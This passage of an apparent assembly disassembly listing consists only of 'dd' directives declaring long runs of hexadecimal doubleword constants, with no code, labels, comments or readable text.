5007240Ch, 7F4CC0FAh dd 2E44B33Fh, 1F032058h, 5FFDB464h, 0BD656215h, 0AD5C3EDBh dd 41CBE1B5h, 111AE4FCh, 50023C64h, 86FA33DEh, 2A43420Ch dd 28D4CA97h, 372E9956h, 0D466E797h, 2A193A8Fh, 0CCEB80BAh dd 0D371A12Ah, 93288EDBh, 0BAA14580h, 0F681BF90h, 0C935A8CEh dd 0F9EC1260h, 0C912431h, 0F0308FC2h, 1292E5D7h, 44292B44h dd 430439C7h, 36C3EE1Ah, 0CCE16740h, 0D6F9447Dh, 27E7EFBDh dd 13EC4083h, 436FCF87h, 891258C4h, 19879E03h, 0CB07BA1Dh dd 9C956C9Ah, 5E206BEBh, 0B7EB733h, 0D2532A48h, 0A095C06Ah dd 9EBE1619h, 58FA5715h, 5B03D6CCh, 80262077h, 37C72315h dd 0C1B5F21h, 532BC237h, 0BBBC95A3h, 0EE394439h, 0AF4B24Bh dd 4F4A74FFh, 0C02612D7h, 0F1DE0280h, 0DAF5D44Ch, 369E4DEFh dd 0C887D0D1h, 0CFE744A3h, 0A4E9DE57h, 0E5FA26D7h, 803AB48Bh dd 14FDC6A9h, 9AEC950Ch, 8E265E50h, 3C44EB12h, 0C9A3025Bh dd 19C22E2Eh, 0E07F4B3h, 19E3EC9Ch, 24453969h, 29809E92h dd 68415266h, 24C348A6h, 96FCACE8h, 0DCBC4653h, 0BAC76A4Ah dd 0AA76E955h, 32202FBEh, 696C5243h, 5C18534Eh, 0F7AFAB1h dd 0E6948778h, 0FCF22AECh, 8C47451Ah, 3E137661h, 0A82FF0A8h dd 0B980F13Bh, 0C18FAB33h, 3DA40B1Ah, 0CE169452h, 0D14FFFDAh dd 8745D227h, 0C4C8FB44h, 0A43CBB2Bh, 0BF94353Ch, 0C6E817B6h dd 189968FEh, 0CD8A93B7h, 6211BB12h, 629CC7B1h, 0EF63D9F2h dd 0D67ECCD6h, 3D9D085Bh, 399E39BCh, 3A43E6E8h, 0DF17B3DBh dd 17FFE229h, 9FE7D3F4h, 0D9F220EEh, 93DA7D81h, 1B705970h dd 0B491DC42h, 17A22AB7h, 949E3A3Ah, 0EB598737h, 0AFCB2533h dd 80BE880Fh, 20E27405h, 6F434720h, 66C4BD62h, 0DBF790EFh dd 11887205h, 0D2E01578h, 0C4812ABCh, 7BE6B896h, 20DE7B0Dh dd 416EA6FFh, 0FA036F01h, 6C2BEB66h, 0E8B99088h, 96DD90ECh dd 32043739h, 0ACAD990h, 0CCB5F2C7h, 8D98E70h, 2200EEC6h dd 3CC8AC60h, 2A30656Bh, 6CEAD929h, 0D7AB3246h, 417055BAh dd 0A01BF13Ch, 2FDBF0C6h, 2CE2F5FAh, 76B6F0F4h, 80088A9Fh dd 0F909F85Fh, 0DACE7AF9h, 9AC13254h, 7E66E1BAh, 0E83ACC3h dd 40C6D1C4h, 0F7AEDB94h, 5928D46Fh, 3FE500h, 0DFDF034Ch dd 3A3C719Dh, 88CC7AD8h, 8AD7D0D5h, 4C808344h, 498A7054h dd 5D2D3F60h, 0B989EF86h, 5B87258Ch, 9FD9550Fh, 7C66C368h dd 18BDA67h, 5DDA16A2h, 0C0CB9D1Ch, 4265D407h, 57B3679Ah dd 0C5F596EFh, 53D74B40h, 0E7656A09h, 0A5B1C478h, 5B1F0133h dd 92BFB2A8h, 1AC2FEB4h, 0FFCE9305h, 0C148EFB6h, 4F7E4096h dd 9ED05DF2h, 0E6C4B1B3h, 0A0BFC432h, 0EA26EF8Ch, 76470E9Fh dd 0D6DDA944h, 0F994875Eh, 0F3BAB16Ch, 0FB41E7DFh, 0FBC1A8DDh dd 0FB59EF82h, 5F2C315Fh, 37B6B85Ah, 3FE5C724h, 0EFCC8515h dd 0E04153CFh, 0C753BAD0h, 0D16A1A79h, 7E67DEEDh, 10B9C48Fh dd 0B4474A00h, 0D32E0D48h, 8AAB64D3h, 0EA826534h, 9FED0652h dd 4D4A2450h, 68AA8751h, 0EA7298EDh, 0F8824195h, 889A916Bh dd 0E41E25ECh, 0E5858DD4h, 1509407Bh, 7E93D292h, 2480193Ah dd 0FDA332F4h, 92D279C4h, 5C23FC77h, 9154CEDCh, 0A74A70CFh dd 0EFFD8773h, 12142241h, 4186CC66h, 0FDB4FD5Eh, 7D7FFE4Bh dd 0BA4EBCCh, 943E0C6Eh, 0CDBCE5BDh, 45736B1Fh, 0C06496Ah dd 0A0A3FE83h, 31E2C853h, 7E304905h, 710F8B4Dh, 3E891B0Ch dd 0C64B9461h, 0B81C35A1h, 0D3E84CAh, 0C427082Ch, 0D9A579BEh dd 77B7170Ch, 585AD80Dh, 3D8B95BCh, 0A9A57381h, 0A7733B09h dd 732FD2EAh, 63B734Eh, 7F0F795h, 21CB8708h, 1E299B39h dd 33D104E1h, 0BFDC55C2h, 4C52D45Eh, 0B91C9104h, 6DBD6D0Eh dd 7575D1E7h, 0CD96C227h, 9E0F61B6h, 0BD039938h, 0BF02161Eh dd 3DDFC207h, 4E49C22Dh, 9D92EF3h, 0D8EAE1F1h, 3DC04DFAh dd 5E3FCDCh, 55B357ADh, 0C1F5C271h, 0DAF4E675h, 9CBA4B6Eh dd 6B8C448Dh, 88DC850Bh, 789F4134h, 0F236EAE9h, 74930206h dd 0E0E38D89h, 0FE5B022Ah, 0E0B3FB83h, 0C7956FFBh, 8FE9B191h dd 7F31BFEFh, 0E9C1A563h, 40F3503Bh, 40453CE4h, 13257DC8h dd 0A0186EC2h, 0CE3B7A76h, 0C2E9A524h, 0C07DFB71h, 0C214D32Eh dd 34A61227h, 5CCDD9B8h, 0BC4BBD5Dh, 385CAF92h, 0B4D40415h dd 0B4C7141Ah, 26524233h, 0F5B6FE5Fh, 18AC9A7Ah, 0B82CA070h dd 8E014312h, 0BA6B508Bh, 13015443h, 790133E7h, 195EF889h dd 5B7A8396h, 900CBD9Fh, 8336EA41h, 0A177980Eh, 0DD24B0CCh dd 501D214Eh, 0A3BD5D18h, 0DDB577C2h, 9E9E4F62h, 51EF6363h dd 0FD271706h, 0BC093CE7h, 8731273Eh, 433A4AB9h, 0E61E2AEDh dd 0F28FE37Bh, 0BDBFED6h, 0BF23CA2Ah, 1901AC07h, 0C4802A8Fh dd 2CD47056h, 791C2BD9h, 2212F0F4h, 0AE25505Eh, 0B9AA962Ch dd 8ACB4B97h, 165A8BA2h, 0AFB91BB6h, 34CCE3D6h, 9A7F6B44h dd 3EC489F9h, 8748079Ch, 0F40F37A5h, 71C952B8h, 693863F7h dd 0B3842F9h, 3E216B5Ch, 92AB53E1h, 1F7B14FCh, 0AE81BF88h dd 70296A11h, 0CA7F8893h, 9F8A7DBCh, 9A3F8BEDh, 0B849169Ch dd 998133EEh, 663BD301h, 3EBB2737h, 5F7C7AA7h, 3311375Ch dd 92ECCD23h, 0F9C0E30Dh, 0CEEBA511h, 0CA01A1EEh, 0D0A1DC3Fh dd 32FEA9ADh, 2BAE2582h, 0A51AEAC6h, 4E1C65EEh, 79816228h dd 453BF929h, 8FAAF294h, 1B1E8C77h, 9B1EAAC7h, 87ED4AFh dd 9F96EF4h, 0F4E5AF83h, 9CE394A5h, 46493360h, 0E293F3ADh dd 3BBD847Dh, 0D58FBC4Ch, 3480D4D0h, 24323732h, 9C0ED83Dh dd 0F8B150A8h, 36EDE107h, 9C4198F5h, 696FB526h, 53F5C8B7h dd 0FFCC5632h, 24ED2235h, 8FBB4A79h, 590EB748h, 0E59BC4C9h dd 0D3ED6425h, 0F6E3B3C1h, 1BE573C3h, 28839A7Ch, 5644C47Bh dd 4DA6A599h, 688A3E46h, 4580CB47h, 0DDCBCC52h, 0E3F441CBh dd 36571509h, 9975FA87h, 6A4E2031h, 0EA317231h, 2D4A809h dd 4B2774A0h, 16832074h, 0BA7070EBh, 6B2583F0h, 0E1AEB04h dd 755B50BDh, 35DCE447h, 36E1687Ch, 0B4F560DAh, 0ED1B70F8h dd 36957CE3h, 0B157DF51h, 2A525CFDh, 8297305h, 17573692h dd 5F31DE5Ch, 8EEBD1A6h, 1A318A4Fh, 98CF00DEh, 2CFB498Dh dd 0E74C6833h, 3352AA08h, 43F985B2h, 46C14C27h, 0B8D32BEEh dd 2691FE3Ah, 401987FFh, 0B52582B1h, 19A4F7EFh, 3A5A460Ah dd 5F0D8044h, 1B4A4BD0h, 0A7CD4643h, 9EEA5523h, 0C7F95EF6h dd 0D68AC851h, 4718CC28h, 0E9CFB894h, 9B981972h, 0F6FC2B48h dd 567FD76Eh, 0F30674DCh, 375515D6h, 0AE843BBDh, 10EDDDD8h dd 375860CEh, 3CF9CF3Fh, 0F8BB721Fh, 9E4C459Ch, 5ADE24EFh dd 8A3ABA83h, 0A432B636h, 48EDCACDh, 0ABA982Ah, 993E5CC8h dd 16239Bh, 0F344490Ah, 0D3CD33A7h, 0F58A0ACAh, 0BCC068A5h dd 91BBD2A6h, 53CE1DCAh, 1427CB36h, 612BE3A3h, 0C18E4D69h dd 25705423h, 377DDAE1h, 0FCC7B625h, 1A6C70DAh, 52C16284h dd 40089FEAh, 409CF9DFh, 0EB3F213Fh, 9163D98Ch, 0C639D3DAh dd 0D52F2A1Dh, 0A95ADEA5h, 6CB24F9Dh, 4AE6F4EDh, 0C287AA6Ah dd 0FDBD2D39h, 9AB9DC61h dd 35A963EFh, 6A0A1844h, 726B0218h, 0ED52F9D8h, 97357AD4h dd 0E998DD1Eh, 4C88A240h, 2D78C9C9h, 0A7126AB3h, 5AE08D3Ah dd 0E118950Dh, 0EB01AD0Ah, 8FD31D1Dh, 942C5CA8h, 0D958579Dh dd 497434D9h, 261EC6E6h, 3EC5DDE6h, 91F7B588h, 0B8474E6Bh dd 0A58373BBh, 0D42B3A9Ah, 57D99E1Eh, 0FE8A8789h, 0AA5E63B1h dd 87FBB38Eh, 399AADA3h, 8AA26237h, 170AFB12h, 52AB5D73h dd 27AD5E51h, 8B848162h, 77C37D8Eh, 0A39624C2h, 7EE624DDh dd 0CEAA6904h, 2B485152h, 124A109Fh, 0F74CE28Eh, 99FFE67h dd 8D8AA473h, 1771893Ch, 874151B0h, 0A43D7529h, 0CF6B769Fh dd 0EB3BAE2Dh, 784B294Ch, 0BF19EC36h, 0A4EB0982h, 0EBD37114h dd 829751C7h, 6C6D0402h, 0D144F9D6h, 68FBCC94h, 652B4C43h dd 0A025B05h, 35725B65h, 4DE8BEE7h, 156AF9FEh, 58BCB168h dd 428C9CF4h, 1CDC3434h, 7A1899C1h, 85DB08F1h, 0C2BDEFF6h dd 57898E22h, 0E97E567h, 338E7CE1h, 83D6761Eh, 4476F8FFh dd 4DC99573h, 0BF4443AFh, 1252EE75h, 0A83EB9F9h, 0F0AFBA30h dd 0AF59B07Ch, 933A4424h, 69F7A25Bh, 2920D460h, 7178D792h dd 51D814FDh, 0BBC853A4h, 0E97C40C8h, 0DB050938h, 875CD125h dd 130E302Eh, 71A356D1h, 4340E609h, 20A65A44h, 0F1D4C219h dd 525B6D33h, 0F3C96050h, 26DA7537h, 224B6723h, 0A02F94E3h dd 49EFC53Ah, 5D67F79Dh, 94E6A313h, 8B9EC80Eh, 5BF5A58Eh dd 24899ED2h, 91A11FB3h, 6AD0B590h, 636D5A54h, 5C1A4561h dd 5A6516FFh, 929C7B95h, 0B671E269h, 1F4B7A5Dh, 0ED9E451Ah dd 3411E82Bh, 72B8CAA2h, 0B4597A17h, 0E5E5AAA8h, 597EB0F6h dd 4984BCC8h, 0D26B2A46h, 85CC0BE4h, 7E2B9A73h, 0A88A65A4h dd 0F1F93E67h, 0FFDB4BF1h, 0FB1DF4E7h, 81C57457h, 0A187B4A0h dd 398EF1E7h, 50BE72BDh, 65127F89h, 1F732A9Bh, 832945E1h dd 0C1CF82FFh, 383EAA5Fh, 2AD41C0Eh, 4415A02Ah, 0A5730DFCh dd 0F86605F2h, 90037472h, 3FE3CAF5h, 9484EC4h, 815B3F1Ch dd 250061B6h, 0FF6AEE07h, 53733151h, 0AE2DCDCh, 28CE5985h dd 0BD623100h, 6703DC59h, 0DE2C219Dh, 0EF3A60E8h, 47EB6181h dd 0BAE2B6C8h, 9A393CC7h, 0A3C9BE80h, 0F1E7162Fh, 899A00ADh dd 7CBE54D4h, 13140193h, 841BEDA5h, 0C2DC2FF3h, 97C803A2h dd 8FEB6029h, 99DC571h, 0EA6D30EDh, 699C43E5h, 0A893F0A2h dd 0D0CA6330h, 8A4CC0F4h, 7BA5895Eh, 5C8932B3h, 9FDDECF1h dd 0E3EEB39Dh, 0BCDFC3Ch, 0D45976D6h, 6AA8DD01h, 0D1BB0706h dd 91B554B1h, 79440C9Dh, 0DB16AE0h, 8716DE95h, 70BFFC30h dd 6B2BA5E2h, 3EA7600h, 62F1D3AFh, 2582518Fh, 0F670014h dd 8375109Ch, 96836378h, 0BDBAED42h, 237153DCh, 31C27F69h dd 0E5920DF0h, 0D9F6EA47h, 19FCABEDh, 9565DDE1h, 0DF1BC691h dd 6298EF8Ch, 638B26AFh, 0C099A4FEh, 0C5A9F3CBh, 69C9CACAh dd 785F387Ah, 36B1E49Bh, 1A939462h, 92E8F30Ah, 0F61A05A4h dd 2CE84E48h, 7A21F6E4h, 14CAAC5Ah, 9C29BE0Dh, 86578260h dd 0C3AFF919h, 78B01349h, 72E09550h, 7708B6D8h, 2D738FCAh dd 51E970B8h, 0D3FFE10Eh, 0A7DC4606h, 132BAF66h, 4288BCD1h dd 68F960B0h, 872CB82Ch, 38B8056Eh, 308AEAB9h, 963696EAh dd 240FB549h, 0B8F75BB1h, 0F53F7A31h, 4244A242h, 81E7E205h dd 34F422B5h, 7303475h, 71F817C4h, 25F95856h, 0B2D3C4D7h dd 8D61FCFAh, 0E2DA901Dh, 8C660977h, 0C3CE02D4h, 1076D00h dd 2397F1F1h, 233B7933h, 51BB1B4Eh, 0A461CF41h, 2D93E19Fh dd 26EB69FEh, 3A3CEF71h, 0DCBBF389h, 96BC5AFFh, 0EA49AF91h dd 438FBA45h, 54D82605h, 0A9F5CB3Eh, 0E956CF1Eh, 0A7E72865h dd 0E3EBF54Fh, 0C8F66C9Dh, 0D3088E26h, 5B063DFFh, 0B4B51443h dd 2CD25B8Ch, 0B545B801h, 0D28FBC60h, 0A08C1965h, 42111A83h dd 0FBEE4B4Dh, 2A81024Fh, 0F0C2DBC8h, 0C22A8766h, 0EB7754F1h dd 406026Fh, 7AE929A6h, 9581C4B7h, 0E8E9498Dh, 4F0A0E74h dd 6DC585A3h, 0F6A776B3h, 0F9D40CDCh, 934C50CEh, 0A7A568Bh dd 0C5FE3211h, 0C291B51Ch, 2A2D9E35h, 8ED0B34Fh, 0FB513985h dd 0E30A89A5h, 91F6B561h, 61196B9Eh, 0D894D855h, 9090B650h dd 0F17B71CEh, 4D51C16Bh, 568E7449h, 0EF25B8F8h, 306E2123h dd 4C206BADh, 78DDAFF0h, 412580EAh, 2845806Ah, 0E78EE47Ah dd 9668B01Bh, 7CEF4278h, 86BC2D9Eh, 5305A7F8h, 0F0A99D3Eh dd 0DFD9BDCEh, 4C554064h, 2604A257h, 538B43B7h, 35089066h dd 0EA20BEA0h, 2F684DD4h, 0EC1A6DDAh, 0C4828447h, 0E4E6DB1Ch dd 3435D63Bh, 84C0ADF1h, 7B454129h, 50FF26B2h, 0A3E26E5Ah dd 221D03F0h, 0FE100628h, 0F5D9E191h, 0B95D7C86h, 4B8298D6h dd 0BC9D43F8h, 0A53C0888h, 19439813h, 0D0E10C73h, 0BCF39315h dd 991EA326h, 60400981h, 0EA2DD4E4h, 6458677Bh, 3CFE6845h dd 806A9F28h, 97BABCEAh, 8C98A255h, 97210B07h, 0C06B6BF6h dd 8717767h, 81723489h, 39D12BCAh, 0E5D477C9h, 68F7B81Bh dd 48DCD52Dh, 0CCA9FE5Bh, 25EA364Dh, 24504875h, 27251A1Ch dd 0D51A967Eh, 0D33A29B6h, 543E31AFh, 0EC3DAF3Dh, 838ED84Fh dd 3D9EB58Bh, 0C80AA4CDh, 0DEF38DBCh, 0FEA7BC26h, 2BAE0A22h dd 0B26EC862h, 80C2CAF3h, 1178CC87h, 0CFD94A17h, 1B330AF6h dd 9026A8D8h, 0AEB15AAFh, 8459D368h, 86B93644h, 0A60C7409h dd 0A20E0CD4h, 63ACEABDh, 0C49AD14Fh, 76D679BFh, 1AFA37DFh dd 0A2D1F024h, 0AC4F6D42h, 0D1268558h, 4AE13E7Dh, 10530728h dd 0F0C9822Ch, 0C1243D84h, 0F4B5378Fh, 77C22ECAh, 281C6231h dd 174AD4C4h, 3769AEA3h, 966F3868h, 0C67CFF82h, 767979F5h dd 964D5555h, 0A310671Ah, 0AF220484h, 2333BC38h, 8950603Dh dd 8CA24FB5h, 59E277Ch, 0C1EB1250h, 9853E7BCh, 57CAC445h dd 88F5A1BFh, 9DA7738Dh, 1E210750h, 81A1D050h, 0E03D3DF4h dd 0C16F6C0Ah, 498AAEh, 7AB4E6CAh, 718D1498h, 0B1AC5132h dd 0F5760B64h, 1873110Bh, 7B6842E3h, 0BC765799h, 7B140F57h dd 178140F1h, 7FC8FFC7h, 4E0DEBC1h, 5DC94306h, 0BD8105BCh dd 7382F8D1h, 3484CE3Bh, 0A26561C9h, 2C14961h, 4FE0F278h dd 468BB4AFh, 82437530h, 9E281A95h, 4A56242Ch, 1A34B45h dd 0E82C71EEh, 0DEB3108Ch, 7B896775h, 3DE3E9BEh, 0DC499C96h dd 330D108Eh, 499EF4F8h, 272774ECh, 0C4BA36F1h, 5922DB62h dd 17B9ED8Dh, 0F3C0C47Bh, 8CB521E0h, 0D0AB2F3Fh, 978D4652h dd 739ABB5Bh, 0AA65616Dh, 0E7168E2Dh, 0EE208487h, 0B3067C59h dd 38FF9550h, 0A216B7C7h, 343C4DF8h, 0E4503EC1h, 0C6A05391h dd 4675EBA7h, 9821B170h, 1ECB3388h, 0CFCDFB01h, 0EAD42092h dd 89B0DE7h, 10E4039h, 8438FECAh, 0EEDBC32Bh, 3BF80249h dd 336DC37h, 371BA9E3h, 0C14D7040h, 0B63801CBh, 84C563E0h dd 96B0C5F0h, 0C2AC2931h, 8CDB41B7h, 4592BB76h, 867068A6h dd 9016C91Dh, 86AFD5C7h, 0FAF12FACh, 0D6EC54C2h, 1343C5DFh dd 2A9A7D75h, 0EFB4F731h, 791A8E8Dh, 0C1093331h, 859E5362h dd 0AB396D69h, 0A9283AE3h, 61F37117h, 0E01BD1B9h, 9965F146h dd 56331877h, 0B7693D2Ch, 0FA00FA6Ah, 0E15CEE71h, 0F104B469h dd 0BC105876h, 7600F10Dh, 92CB0F3h, 941E80D4h, 8950FD39h dd 0E7E95165h, 5301AFAh, 0E2742ECDh, 0AC242BF6h, 0F82376ADh dd 0F40B089Fh, 763BDB7Eh, 9AB5EF47h, 0A6BFFD08h, 3270BE75h dd 0A5D8E6EEh, 32EDD985h dd 8692A7D6h, 0C4257531h, 9AC95C84h, 86C9AE7Eh, 0AC0F9C75h dd 2A553B38h, 0F02B294h, 1461792Eh, 933FEC9Eh, 6D22C74Eh dd 5C5B0E4Dh, 47480992h, 83FDFF22h, 0E6641D1Eh, 0AFA26664h dd 9B9A648Eh, 14BC101Bh, 0E17CD1DBh, 0C97E5CD2h, 0F5A71F6Eh dd 5EE3A465h, 250D81CAh, 77DC0B99h, 0C3383CF4h, 0B36DB9A7h dd 931B2C69h, 5FBBE861h, 0A0631412h, 2A2DCE13h, 220014BAh dd 4351A7A3h, 0B8293844h, 2804C8B9h, 75E4EE3Dh, 0C498E59h dd 26674F82h, 0ABD5A5D7h, 0F1082379h, 4AB7CCAh, 0C823B83Ch dd 3FBC4295h, 730B83F0h, 0E5A182C9h, 0B26E36DBh, 0C11B1BD3h dd 8A203166h, 95AFF991h, 0F8CCAA69h, 92AEB12Ch, 0E2A0A6F6h dd 0E9852EAEh, 80F5A0BFh, 8B897947h, 893C2828h, 88917066h dd 0C3737D23h, 12F3F517h, 0FFAD2761h, 0E2428FEh, 0EB7BFD1Ch dd 0B89F9799h, 835E7EE6h, 4CDC6849h, 0EF5EE103h, 5FFE540Bh dd 891533Dh, 89030C11h, 0F1714635h, 4E7D081Bh, 189C3BE3h dd 1AFEF4D5h, 90C246EFh, 949FA3F8h, 7E58812Bh, 9D52228Bh dd 7939FB64h, 0D26BF8C3h, 27CBDE7Ch, 2225CCD3h, 0C0FEF94Dh dd 4DC64048h, 0F85B7FAEh, 0AAA9BAF2h, 2A7B66CDh, 0EA50038Dh dd 0DA203C9Ah, 0E3A7E69Bh, 5000ED88h, 0FFDFFDE4h, 0A4A73797h dd 0A8E18B15h, 0D87B4CC6h, 0EB5BD388h, 0F8D1FBD7h, 0BC05A930h dd 47354EE9h, 35C5488Bh, 85E6A4BDh, 0E5D8E4CFh, 41205D6Fh dd 0D9A0A6ADh, 0D89B0385h, 0F1826F9Ah, 4CB02352h, 913F1D30h dd 4E1E26BFh, 0A3A79C63h, 2E26C01Eh, 4813B9Ah, 0A9A8917Dh dd 0B134207Fh, 0F3AE4513h, 0EBE95F0Ah, 55D3C5F8h, 6035F182h dd 0BF38C56Fh, 2D60BB3Dh, 9B14F018h, 211720A3h, 905BC376h dd 41589A67h, 17D8B86Bh, 4344EDBBh, 23BD5602h, 0A629E153h dd 5B840A0Ah, 28EAF2D4h, 0CF4E9F30h, 2D5DA513h, 37E2BA9h dd 3D0CAB06h, 11B61AAh, 78C62FBDh, 452C23ACh, 7CD24FBEh dd 0F46F03Dh, 13FEF1E6h, 2DDA4B02h, 90C1999Dh, 8C663177h dd 9669C3A6h, 0BEA32E15h, 2882835Ah, 0FEA8E481h, 8D738005h dd 28F302DEh, 88047E73h, 0A17B209Dh, 0F1185E92h, 0CB4672h dd 0A9199B12h, 0A2375A39h, 5C0E3FDFh, 7E267305h, 9F8FA7E5h dd 718B6311h, 8E2D4723h, 71BD7603h, 0AAFFA0BBh, 7807C355h dd 4F04EAD3h, 97970A11h, 2CB10381h, 20E66B5Fh, 51862732h dd 69C88F1Eh, 0CF8B0BB9h, 8A1D6635h, 0B8112723h, 0B4966D56h dd 0BA8617D5h, 0C6DDEAF7h, 8375C27Ah, 360EA6F8h, 0B8EA7F22h dd 13097873h, 0FA6B32BCh, 0B7C4B337h, 0FB8839BEh, 74AE9EC2h dd 0A6FDFD91h, 0F8E0AD74h, 0E2D49F91h, 0AB557E33h, 0F56D271Ah dd 2F9348FBh, 7A24A525h, 0C54955E0h, 74E7B12Eh, 0C426C027h dd 82EE5FC4h, 0C59B8824h, 1AFF07E8h, 850CD080h, 0F00E9339h dd 60A69A4Ah, 7143AB20h, 0CDB2ED0Bh, 0AE099B4Ch, 34F2C9F0h dd 0EE9AA05Dh, 78802BE4h, 8B240644h, 6CA5EBE4h, 7E02E6A9h dd 0CA9DA5C2h, 0B05AF89h, 0E617698h, 0C86922EEh, 7F7219EDh dd 74291395h, 0E130C7A1h, 7A75CCE5h, 2AD76151h, 0FC2298C5h dd 717E9081h, 0B4B5BFFDh, 4814202Ch, 8168953Dh, 0A35C8218h dd 0C2874439h, 1E520DDCh, 7BB310FDh, 16CC1C33h, 0F4862EE0h dd 717BF2F2h, 468BEAE0h, 10215AA2h, 8CFED51h, 6F0CCC5Ch dd 7D968EB4h, 91D8B677h, 7CEF8D38h, 42617F9Fh, 0AF8074BCh dd 0D3ED78Ch, 0C90C6B23h, 28813848h, 0EA973647h, 43978B15h dd 0E8AD9305h, 0C696371Dh, 0C6DE313Eh, 44BA6049h, 74F8AC6Ch dd 5228B59Eh, 0F0B8B525h, 13ABDC21h, 86DD05Dh, 0A4E53CB2h dd 0EA8272F8h, 6E4A9689h, 1252F5DDh, 0CE8CC7C3h, 0B4724CD9h dd 0C564C80Eh, 7B012573h, 0AC47E24Ch, 0A867CD4Fh, 476641BAh dd 31645797h, 97A149FBh, 9CDF445Bh, 0E6C80A54h, 5825CAC8h dd 14EBF47Eh, 0D875D216h, 0FED9380Fh, 6D9EB29Ah, 0D5559BF5h dd 60C466E8h, 6AFA4C63h, 0AE9F6331h, 7BC76C3h, 5C8D0D60h dd 620CA893h, 0E2891AFh, 1898FD8Dh, 0E6734A04h, 78622BC7h dd 3D5B4Eh, 0BBB86E40h, 666C8A4Eh, 0AD41E26Bh, 2AC1C9BEh dd 2A42E8C6h, 3B418038h, 3E4D730Fh, 0FC0D1799h, 0DC3864F1h dd 3ED4ED5Bh, 0E37966ADh, 1ABF6A35h, 5A604734h, 0C238FD79h dd 5ECF4B9Dh, 0FD43D854h, 4AEE3BDDh, 727F0F41h, 75B0E28Fh dd 72282EC5h, 0A5FCD901h, 17E12Eh, 0E5D6EF27h, 6508D7BCh dd 78F0CD00h, 0EE812FFAh, 6F606EB4h, 0E974316Fh, 0DCE9247Bh dd 0D11FB263h, 46890CA7h, 803E8F11h, 1AE39E44h, 0EB3A90E1h dd 2A8BFFD4h, 0F9505708h, 7070E83Ch, 926C3E8Ch, 0E41793Ah dd 644B006Ah, 0E489E265h, 0B8CE6B3Fh, 0A5B69653h, 0BD8EC716h dd 96460E91h, 0BCC01E43h, 6070389Bh, 14689D84h, 73844472h dd 0D42E2DF1h, 22EEA592h, 0F34E41D8h, 63630769h, 2775F000h dd 0E820DCD8h, 0B68D57AAh, 0D1DDCEF2h, 0DFAA1B75h, 5E74AFC6h dd 0EBF8BD38h, 0FDB2667Bh, 0BC2411BAh, 256D90F5h, 8E55646Bh dd 5159EEh, 3ED6C53Bh, 0DBC3272Ch, 848D05F3h, 0BACB3003h dd 0E866FCDFh, 0A3DE3139h, 0EA1426DEh, 6A68C454h, 5080B963h dd 7C8EE9ACh, 54E121A4h, 5D8D7ECh, 0EBCBCE9Ah, 0B9E67EC5h dd 0B43575FCh, 157A888Fh, 8DF8A478h, 0A71C0D7Ch, 0A4CB87EAh dd 0A679421Ah, 7919AD7Eh, 0CD571FF3h, 0EC8BBF9Eh, 0FE47F56Ah dd 0F360D751h, 32DAD95Ch, 0CB009FCAh, 0A62C8BF4h, 4D5A909Dh dd 0AFDD477h, 37743F00h, 0AA38D5ABh, 0BE5B12E9h, 1BA1FD9h dd 9E6BEEECh, 0FAA4530Ah, 869FD71Eh, 0DE64353Dh, 0E5742304h dd 5CF6A02Ch, 942481F2h, 7512A78Eh, 0F3EB6845h, 3C23950Dh dd 80AF32D6h, 8D98D495h, 7F86BF77h, 68136E90h, 9060E5B3h dd 0C71E9049h, 0BFDC263h, 75E296ADh, 0AABD1F13h, 0E4BCB598h dd 36430C75h, 0DBE23387h, 2ADE89EFh, 0CACA3707h, 0B23627E8h dd 0BBFCE9D1h, 0FAF2451Bh, 0B1AF7DAAh, 0C876BF6Fh, 0EEA7CAB1h dd 3E5DEBA8h, 25936E91h, 33F4B2A6h, 5CD24EA6h, 0B239BE7h dd 0E1099025h, 2C275326h, 89AD5EF4h, 783D43EAh, 0A3D52017h dd 93AD21B6h, 37D6B9Bh, 0E7ABC8D0h, 702E1894h, 272637D4h dd 77E2F49h, 0F8B79FDEh, 46687CD6h, 1A449FB3h, 0FD4D439Fh dd 1AC5BE72h, 2431C26Dh, 355DC747h, 0E766033Fh, 0B3AB9A8Ch dd 0C744E847h, 2F792798h, 39950442h, 3EE61BD9h, 865F871Dh dd 821066F0h, 579BF5F3h, 70E329C9h, 5DCCCA7Ah, 1529E65Fh dd 391AE06Bh, 0F00857F4h, 114F65B4h, 7E38DA6Fh, 0F8F5415h dd 0A66720BBh, 9AA1DFAh, 726851BDh, 7B5329BAh, 31E9AD4Fh dd 59489FA7h, 7B455520h, 0C9CF1731h, 8965867Dh, 0B7EAF340h dd 0D1DD1ABCh, 791EC269h, 0AF1E0228h, 99DEEF8Eh, 0F9BE9C75h dd 9D71B558h, 0EB71A279h, 59EB6869h, 3A21BA19h, 909A92F4h dd 4BBE3767h, 0B3B8D0C2h, 5DA7AB2Eh, 8940C35Dh, 0F149AD7Eh dd 5A40A11h, 5BB86BBh, 83A5CFFAh, 0FDC6ECD3h, 0FAB1E0C3h dd 0B562EE6h, 9A6243F5h, 0A89D1BBFh, 0BE0D65ECh, 5A82EAB7h dd 0B0272B84h, 164B8915h, 1581C12Fh, 524FE5AEh, 71F33F4Eh dd 5BE60313h, 7EEE9EF8h, 1A9DE73Ch, 0DC093F7Ch, 0CB82332Eh dd 0F7D8BA9Fh, 56019F0h, 0A336B529h, 37B2222Bh, 22A4A754h dd 0E0B6D4D0h, 87ADC760h, 3A65BF0Eh, 19C5AC44h, 0B5FC5879h dd 0D35AEE85h, 85A42FAEh, 0D595B788h, 23A58324h, 8685D290h dd 0FD2B6991h, 6C4BDA9Bh dd 2D0621D9h, 0ACCDB589h, 0B2ABABD0h, 0C213D2ECh, 8DA8F5FAh dd 0A860409Fh, 0EB05FD9Eh, 42CC1033h, 0AE0C725Bh, 0D43F69AEh dd 80F3464Eh, 0F93A00Ch, 7A68D841h, 0ECE7638Bh, 0BB59A704h dd 0FBD6C454h, 26E1D81Bh, 0B65F180Bh, 6311FF0Ah, 0BA2C8574h dd 0CD1CCC31h, 106A53C6h, 0E1C6109Eh, 0E6AA3EA2h, 8E24BE0Ah dd 0E655DC27h, 0A045D6ABh, 1FEAB8D9h, 210DBF44h, 83F468FFh dd 0DEB43D04h, 46FF3550h, 47689457h, 32921D70h, 142B0CA7h dd 0C958112Bh, 0C337FECFh, 16DABAACh, 5A6FA915h, 9FE81E78h dd 28E9A51h, 0B62BA930h, 86A7C376h, 55D33CEBh, 274C70AAh dd 24D1C525h, 8777E43Dh, 6C0AF8Bh, 58EF0315h, 680E50D0h dd 2E937D2Dh, 2E8D3C50h, 9D63D6Dh, 4A175ED2h, 8363EEB9h dd 0BC815365h, 5D69A36Bh, 0CB9088C4h, 8866EBFh, 5C9630B2h dd 1F6CD4FAh, 9C612583h, 0AC2C03D2h, 4ADF25A9h, 4C03306Eh dd 193C91ACh, 